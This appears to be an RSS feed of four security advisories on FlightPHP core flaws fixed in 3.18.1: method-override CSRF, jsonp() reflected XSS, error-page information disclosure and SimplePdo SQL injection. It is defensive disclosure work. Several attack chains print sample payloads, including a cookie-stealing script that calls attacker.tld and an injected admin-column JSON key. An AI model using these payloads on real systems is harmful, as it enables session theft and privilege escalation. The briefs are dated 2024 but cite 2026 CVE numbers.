<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Flightphp/Core (&lt; 3.18.1) — CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/products/flightphp/core--3.18.1/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata — refreshed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Fri, 26 Jan 2024 12:00:00 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/products/flightphp/core--3.18.1/feed.xml" rel="self" type="application/rss+xml"/><item><title>FlightPHP HTTP Method Override Vulnerability Leads to CSRF and Middleware Bypass</title><link>https://feed.craftedsignal.io/briefs/2024-01-26-flightphp-http-override/</link><pubDate>Fri, 26 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-26-flightphp-http-override/</guid><description>A vulnerability in FlightPHP core versions before 3.18.1 allows attackers to override HTTP methods via the `X-HTTP-Method-Override` header or `_method` parameter, leading to CSRF escalation, middleware bypass, and cache poisoning.</description><content:encoded><![CDATA[<p>FlightPHP versions prior to 3.18.1 are vulnerable to HTTP method override. The vulnerability resides in the <code>Request::getMethod()</code> function within <code>flight/net/Request.php</code>. The application unconditionally honors the <code>X-HTTP-Method-Override</code> header and the <code>$_REQUEST['_method']</code> parameter, even on safe HTTP verbs like GET. This behavior allows an attacker to modify the intended HTTP method, potentially leading to Cross-Site Request Forgery (CSRF) escalation, bypassing of authentication and rate-limiting middleware, and CDN cache poisoning. This vulnerability was discovered by @Rootingg and patched in version 3.18.1 (commit b8dd23a) by introducing the <code>flight.allow_method_override</code> setting. Disabling this setting mitigates the vulnerability by ignoring method overrides.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker identifies a FlightPHP application using a version prior to 3.18.1.</li>
<li>The attacker locates an endpoint that performs a sensitive action using an unsafe HTTP method (e.g., DELETE, PUT).</li>
<li>The attacker crafts a malicious URL targeting the vulnerable endpoint, using a GET request with either the <code>_method</code> parameter (e.g., <code>/?_method=DELETE</code>) or the <code>X-HTTP-Method-Override</code> header.</li>
<li>For CSRF, the attacker embeds the malicious URL within an HTML <code>&lt;img&gt;</code> tag on a website they control.</li>
<li>A victim visits the attacker&rsquo;s website, and their browser automatically sends a GET request to the vulnerable application.</li>
<li>The FlightPHP application incorrectly interprets the GET request as the specified unsafe method (e.g., DELETE) due to the <code>_method</code> parameter or <code>X-HTTP-Method-Override</code> header.</li>
<li>The application executes the sensitive action (e.g., deleting a resource) on behalf of the victim without proper authorization.</li>
<li>Alternatively, if middleware checks HTTP method to apply controls, this can be bypassed by issuing a GET request with a forged <code>_method</code> parameter or <code>X-HTTP-Method-Override</code> header.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability can have several significant impacts. It allows attackers to perform CSRF attacks, potentially leading to unauthorized data modification or deletion. Attackers can bypass security middleware that relies on HTTP method verification, gaining unauthorized access to protected resources. The vulnerability also enables CDN cache poisoning, where the CDN caches the response of a GET request that was actually processed as a DELETE or PUT, serving incorrect content to future users. The exact number of affected FlightPHP applications is unknown, but any application using a vulnerable version is potentially at risk.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade FlightPHP to version 3.18.1 or later to patch CVE-2026-42551.</li>
<li>Set the <code>flight.allow_method_override</code> setting to <code>false</code> to disable HTTP method overriding as described in the advisory.</li>
<li>Deploy the Sigma rule <code>Detect FlightPHP HTTP Method Override via _method Parameter</code> to detect exploitation attempts using the <code>_method</code> parameter.</li>
<li>Deploy the Sigma rule <code>Detect FlightPHP HTTP Method Override via X-HTTP-Method-Override Header</code> to detect exploitation attempts using the <code>X-HTTP-Method-Override</code> header.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>csrf</category><category>middleware-bypass</category><category>cache-poisoning</category><category>http-method-override</category></item><item><title>FlightPHP Reflected XSS Vulnerability in jsonp()</title><link>https://feed.craftedsignal.io/briefs/2024-01-24-flightphp-xss/</link><pubDate>Wed, 24 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-24-flightphp-xss/</guid><description>A reflected XSS vulnerability exists in FlightPHP versions prior to 3.18.1 due to improper validation of the jsonp query parameter in the Flight::jsonp() function, allowing attackers to inject arbitrary JavaScript leading to cookie theft, session hijacking, and data exfiltration.</description><content:encoded><![CDATA[<p>FlightPHP versions prior to 3.18.1 are vulnerable to reflected cross-site scripting (XSS) due to insufficient validation of the <code>jsonp</code> query parameter within the <code>Flight::jsonp()</code> function. This function, intended for JSONP responses, directly concatenates the <code>jsonp</code> parameter into the <code>application/javascript</code> response body without ensuring it&rsquo;s a valid JavaScript identifier. This flaw allows an attacker to inject arbitrary JavaScript code, which then executes in the context of the victim&rsquo;s origin when the vulnerable endpoint is accessed via a <code>&lt;script&gt;</code> tag from an attacker-controlled page. The vulnerability was discovered by @Rootingg and patched in version 3.18.1, commit <code>b8dd23a</code>, by implementing a regex validation (<code>^[A-Za-z_$][\w$.]{0,127}$</code>) on the callback name.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker identifies an application using FlightPHP versions prior to 3.18.1.</li>
<li>The attacker locates a route that calls the vulnerable <code>Flight::jsonp()</code> function.</li>
<li>The attacker crafts a malicious URL containing a <code>jsonp</code> parameter with an XSS payload. Example: <code>/api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//</code>.</li>
<li>The attacker hosts a page containing a <code>&lt;script&gt;</code> tag that points to the vulnerable endpoint on the victim&rsquo;s domain, using the crafted malicious URL.</li>
<li>A user visits the attacker-controlled page in a browser.</li>
<li>The browser executes the injected JavaScript code from the <code>jsonp</code> parameter within the victim&rsquo;s origin.</li>
<li>The injected JavaScript steals sensitive information such as cookies, session tokens, or authenticated API responses.</li>
<li>The stolen data is exfiltrated to a domain controlled by the attacker (e.g., <code>attacker.tld</code>).</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this XSS vulnerability can lead to significant consequences. Attackers can steal user cookies, hijack user sessions, and exfiltrate authenticated API responses. This impacts any application using the vulnerable <code>Flight::jsonp()</code> function. The number of potential victims depends on the popularity and usage of applications built with the affected FlightPHP versions. Successful attacks allow attackers to impersonate users, access sensitive data, and potentially compromise the entire application.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade FlightPHP to version 3.18.1 or later to incorporate the patch that validates the callback name.</li>
<li>Deploy the Sigma rule <code>Detect FlightPHP JSONP XSS Attempt</code> to your SIEM to detect potential exploitation attempts by monitoring for specific patterns in web server logs.</li>
<li>Monitor web server logs for requests containing suspicious characters or JavaScript code within the <code>jsonp</code> query parameter, referencing the example URL in the Attack Chain.</li>
<li>Implement strict input validation on all query parameters, especially those used in dynamic content generation, to prevent similar XSS vulnerabilities.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>reflected-xss</category><category>web-application</category><category>php</category></item><item><title>FlightPHP Sensitive Information Disclosure via Default Error Handler</title><link>https://feed.craftedsignal.io/briefs/2024-01-flightphp-info-disclosure/</link><pubDate>Mon, 08 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-flightphp-info-disclosure/</guid><description>The default error handler in FlightPHP core writes the full exception message, exception code, and stack trace directly into the HTTP 500 response, disclosing sensitive information such as internal paths, secrets, and application structure.</description><content:encoded><![CDATA[<p>The FlightPHP framework, prior to version 3.18.1, is vulnerable to sensitive information disclosure due to its default error handling mechanism. The <code>Engine::_error()</code> function writes the full exception message, exception code, and stack trace directly into the HTTP 500 response without any debug gating. This behavior can expose internal filesystem paths, secrets interpolated into exception messages (such as database credentials or API tokens), and the application&rsquo;s module structure. The vulnerability was discovered by @Rootingg and a proof of concept is available, demonstrating the leakage of sensitive information. This disclosure can provide attackers with valuable primitives for chaining other weaknesses, such as Local File Inclusion (LFI) or path traversal vulnerabilities. The issue is resolved in version 3.18.1 with the introduction of a <code>flight.debug</code> setting to control the verbosity of error output.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker identifies a FlightPHP application running a version prior to 3.18.1.</li>
<li>The attacker crafts a request designed to trigger an uncaught exception within the application. This could be through invalid input, resource exhaustion, or other error-inducing actions.</li>
<li>The application&rsquo;s error handler, <code>Engine::_error()</code>, is invoked.</li>
<li>The error handler formats the exception message, code, and stack trace into an HTML response.</li>
<li>This response includes absolute filesystem paths, potentially revealing the application&rsquo;s directory structure.</li>
<li>The response may also include secrets, such as database credentials or API keys, if these are inadvertently included in exception messages.</li>
<li>The HTTP 500 response is sent to the attacker&rsquo;s browser, containing the sensitive information.</li>
<li>The attacker uses the disclosed information to further exploit the application, potentially leveraging LFI or path traversal vulnerabilities to gain unauthorized access or execute arbitrary code.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability can lead to the disclosure of sensitive information, including absolute filesystem paths, database credentials, API tokens, and internal application structure. This information can be used to facilitate further attacks, such as Local File Inclusion (LFI) or path traversal vulnerabilities. The disclosure of database credentials or API tokens could grant attackers unauthorized access to sensitive data or systems. The vulnerability affects applications using FlightPHP versions prior to 3.18.1.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade FlightPHP to version 3.18.1 or later to patch the vulnerability. The fix introduces a <code>flight.debug</code> setting that gates the verbose output, preventing sensitive information from being exposed in production environments.</li>
<li>Deploy the Sigma rule &ldquo;FlightPHP Sensitive Information Disclosure in HTTP Response&rdquo; to detect instances of verbose error messages in HTTP 500 responses.</li>
<li>Review application code to ensure that sensitive information, such as database credentials and API tokens, are not inadvertently included in exception messages.</li>
<li>Enable webserver logging (category: webserver, product: linux/windows) to capture HTTP requests and responses, facilitating detection and analysis of potential exploitation attempts.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>information-disclosure</category><category>web-application</category><category>flightphp</category></item><item><title>Flight Framework SQL Injection Vulnerability</title><link>https://feed.craftedsignal.io/briefs/2024-01-03-flight-sqli/</link><pubDate>Wed, 03 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-03-flight-sqli/</guid><description>Flight framework is vulnerable to SQL Injection; an attacker can inject arbitrary SQL by crafting malicious array keys due to SimplePdo::insert(), SimplePdo::update(), and SimplePdo::delete() building SQL statements by concatenating the $table argument and the keys of the $data array directly into the query, with no identifier quoting or validation, leading to privilege escalation, arbitrary column writes, data destruction, and exfiltration.</description><content:encoded><![CDATA[<p>The Flight framework, specifically versions prior to 3.18.1, contains an SQL injection vulnerability in the <code>SimplePdo</code> class. The <code>insert()</code>, <code>update()</code>, and <code>delete()</code> methods construct SQL queries by directly concatenating the <code>$table</code> argument and the keys of the <code>$data</code> array into the query string without proper sanitization or validation. This allows an attacker to inject arbitrary SQL commands by crafting malicious array keys when user-controlled data is forwarded to these helper methods (e.g., <code>$db-&gt;insert('users', $request-&gt;data-&gt;getData())</code>). Discovered by @Rootingg, this vulnerability was addressed in commit b8dd23a and assigned CVE-2026-42550. Exploitation of this flaw can lead to privilege escalation, arbitrary data modification, and complete data exfiltration.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies an application endpoint that uses the Flight framework and its database interaction methods (insert, update, delete).</li>
<li>The application uses <code>SimplePdo::insert()</code>, <code>SimplePdo::update()</code>, or <code>SimplePdo::delete()</code> with user-supplied data. For example: <code>$db-&gt;insert('users', $request-&gt;data-&gt;getData());</code></li>
<li>The attacker crafts a malicious JSON payload with SQL injection in the array keys, such as <code>{&quot;name, is_admin) VALUES (?, 1);-- &quot;: &quot;attacker_injected&quot;}</code>.</li>
<li>The attacker sends the crafted JSON payload to the vulnerable endpoint via an HTTP POST request.</li>
<li>The application processes the JSON data and passes it to the vulnerable <code>SimplePdo</code> method.</li>
<li>The <code>SimplePdo</code> method concatenates the malicious array keys directly into the SQL query without validation or escaping. This results in the creation of an injected SQL query such as <code>INSERT INTO users (name, is_admin) VALUES (?, 1);-- ) VALUES (?)</code>.</li>
<li>The database executes the injected SQL query, leading to unintended modifications, such as the creation of an administrative account or modification of existing data.</li>
<li>The attacker escalates privileges, exfiltrates data, or causes data destruction depending on the nature of the injected SQL.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this SQL injection vulnerability can lead to severe consequences, including unauthorized privilege escalation, allowing attackers to gain administrative control over the application. Attackers can also arbitrarily modify database columns, leading to data corruption or manipulation. Furthermore, data destruction and exfiltration are possible through the use of the <code>$where</code> parameter, potentially resulting in complete data loss or exposure of sensitive information. This vulnerability affects applications using Flight framework versions prior to 3.18.1.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade to Flight framework version 3.18.1 or later, which includes the fix for CVE-2026-42550 with the <code>requireSafeIdentifier()</code> helper function.</li>
<li>Implement input validation and sanitization on all user-supplied data before passing it to database interaction methods, even after upgrading the Flight framework.</li>
<li>Deploy the Sigma rule &ldquo;Detect Flight Framework SQL Injection Attempt via Malicious Array Keys&rdquo; to identify potential exploitation attempts by monitoring for suspicious patterns in HTTP request bodies and application logs.</li>
<li>Review and audit all existing code that uses <code>SimplePdo::insert()</code>, <code>SimplePdo::update()</code>, and <code>SimplePdo::delete()</code> to ensure proper data sanitization and prevent SQL injection vulnerabilities.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>sql-injection</category><category>web-application</category><category>vulnerability</category></item></channel></rss>